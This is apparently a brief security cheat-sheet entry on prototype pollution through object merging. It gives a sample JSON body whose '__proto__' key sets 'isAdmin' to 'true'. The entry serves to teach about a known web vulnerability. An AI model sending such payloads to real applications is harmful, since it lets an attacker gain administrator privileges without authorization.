Exploitation

Merging exploitation

You are able to set unpredicted parameter of an object when objects are merged.

{
"username":"test",
"email":"[e-mail]",
"__proto__": {
        "isAdmin": "true"
   }
}